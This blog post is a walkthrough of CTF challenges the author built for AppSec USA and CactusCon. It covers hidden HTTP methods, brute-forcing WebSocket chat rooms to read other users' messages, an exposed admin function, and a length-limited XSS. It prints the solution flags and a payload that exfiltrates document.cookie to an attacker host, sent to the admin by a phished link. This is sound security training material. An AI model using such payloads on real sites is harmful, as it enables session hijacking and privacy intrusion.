CactusCon and AppSec USA CTF Challenges and Walkthrough

MENU

This year my colleagues and I hosted a CTF at AppSec USA in Orlando, Florida and CactusCon in Phoenix, Arizona. I developed two of the challenges for the CTF. In this post, I will give you the source code and how to set up the challenge locally. I am also providing an official walkthrough describing how I expected people to go through the challenges.

Set-up

Set up for both challenges is fairly similar.

Prerequisites

Note: I did all my development on a Mac, I see no reason why this wouldn't work on a Linux machine, and in theory this should work for Windows as well.

Hidden Path

Using tools like dirb and dirbuster are great for finding hidden files within a web application. However, the down side is that they will only ever send a GET request to the application. To complete this challenge, the participant had to send a PUT to the /category path.

To solve the challenge, one option is to use Burp's intruder where the marker is placed on the HTTP Method and the path (as discussed in my talk). For the methods I just used "GET, POST, PUT, DELETE" and for the path I used dirb's common.txt wordlist.

Here is that hidden path:

flag{ILikeToPlayHideAndSeek}

Reading Other Peoples Messages

The next challenges is more difficult. My hope was that people would use the ChittyChat application as intended and find the hidden function that would allow you to read other people's messages if the messages are still open. For example, I created a chat between 2 people with some simple messages:

If a third person tried to join by visiting the URL, they will get a message mentioning that the chat is full and the application will display the archived messages:

Initially, this challenge seems simple, just enumerate all the possible chat rooms (1-10000) and try to find any that contain content. If you did that, you would not find the flag; what gives?

If a participant used the application and reviewed how the applications works, they should notice a couple things:

The challenge is using WebSockets for the communication. (which executes with javascript; hence, why brute forcing all possible chats with something like Burp wouldn't work)

Chat.js is the Holy Grail for debugging this application.

Within chat.js there is a function that is executed on initial connect:

socket.emit('load',id);

The code above will load the data for the chat with the specified ID. To brute force all chats, the participant needed to write a short script that will iterate through all the existing chat rooms:

varsocket=io();for(i=0;i<10000;i++){socket.emit('load',i);}

This code will need to be executed in chrome or firefox's devtools within the chat app. The script will go through and load all the conversations in all rooms:

flag{KatyPerryCanBeAPoopyHead}

Secret Admin Function

The final flag for Chitty Chat can also be found in the chat.js javascript file. By reviewing the file, the participant was expected to find the showAdmin function:

The showAdmin function will make a call out to the server using ajax and load the admin function. This page can be viewed manually (make sure the admin token is also set) or the participant could have ran the function in the developer console within the application.

Once exscuted, the browser will then load the "admin" toolbar:

And the flag can be found within the statistics tab:

flag{ThisAdminDoesntKnowWhatTheyAreDoing}

Business Casual

I envisioned Business Casual as a realistic XSS challenge. There were 2 challenges but the first flag was very easy (hidden page), where the second flag was more difficult (Limited XSS). To get the second flag, the user needed to steal the admin's cookie.

Hidden Page

I'm not going to go into too much detail for this one since flag is easy to find. Dirbuster or dirb would have found it with just about any wordlist.

This page is necessary to the next challenge which is why there was a flag.

Limited XSS

The home page of the application contains a comment in the source that points to an admin panel:

That is not the full script we put in and it won't work. The application limits the amount of characters that can be submitted. Instead we need to use the shorthand for protocol and call the file without a name:

And finally the source is the ip but without the protocol. Instead "//" instructs the browser to use whatever protocol loaded the page initially

Let's set up a server and see if we can get a request to come through (I am using python's SimpleHTTPServer on port 80 for this). In the logs, we can see that the application is looking to load the file .js:

Now that we can confirm the page is attempting to load a file, we need to create a javascript file. We could set up a beef hook, but that is overkill to get a simple cookie. Instead a redirect with the cookie in the URL will be good. That means the code that will go into the file named ".js" in the root of our webserver will look something like this:

window.location="http://192.168.1.100/?fake="+document.cookie;

Once we load the page with the XSS vulnerability, we can see that a redirect immediately occurs and appends the "?fake=" to the URL.

Our browser will not have anything in document.cookie because we never visited a page that set a cookie. But if we did, the parameter would contain a cookie.

This is where the first flag comes in. the /contact page contains a page to send an email to the admin with any issues you might be experiencing. We will send them the link with the XSS that we generated above:

And if we watch our server logs, we will see a request that contains the flag: